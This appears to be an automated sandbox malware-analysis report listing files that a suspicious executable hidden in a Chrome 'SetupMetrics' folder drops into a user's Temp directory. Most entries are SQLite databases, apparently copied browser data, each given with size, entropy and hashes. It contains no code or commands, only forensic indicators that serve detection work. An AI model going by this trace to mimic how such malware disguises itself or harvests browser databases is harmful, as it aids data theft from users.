Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\muGPcEeAHe

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\muN2cX4GEf

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\myJCZW2R38

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n1obVkUBJg

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nmVJl8xwDf

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nqOH3u032q

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\osbiO5cwjQ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ottSjZVhx0

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ou2n2VlUnJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pPrAAj3d6I

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pVqYh6MdRu

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pZpKRb8nOV

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ps2MauoU4Q

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q8gkNKSp7y

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qJfF30jafG

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qVxk4Wdzpx

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qcWCdgWhuB

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rUULAmAKp5

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sBJiIvSxLt

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sFhClImwf9

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sc4XDDKYyc

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:IT0C/MMHIn:l8K
MD5:	D2FE141C423FD8B29F0EE0B818CAE0D4
SHA1:	77268555CD0C8B86ED0F55C5512266BDA79AC667
SHA-256:	B5EDE0BB3BA92F001552CAAA282A0266DFF1714D01978B2AF816F02F799F2659
SHA-512:	D965CB16E4A3D65D4DE46519CAB987D91E8B535FBC6D25BF6309DFE8D35EAA010176CEFFD31EF66271BD7D194311D178581E386FB56F18DEA0BCCC77E794079C
Malicious:	false
Preview:	l27HlNrVnQ87qQZiThB1Gbabm

C:\Users\user\AppData\Local\Temp\t9mRj0IYVq

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tH0EDMMUF9

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tL7FUumyAC

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tcLcgzh0v8

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tv1m2XW6vM

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
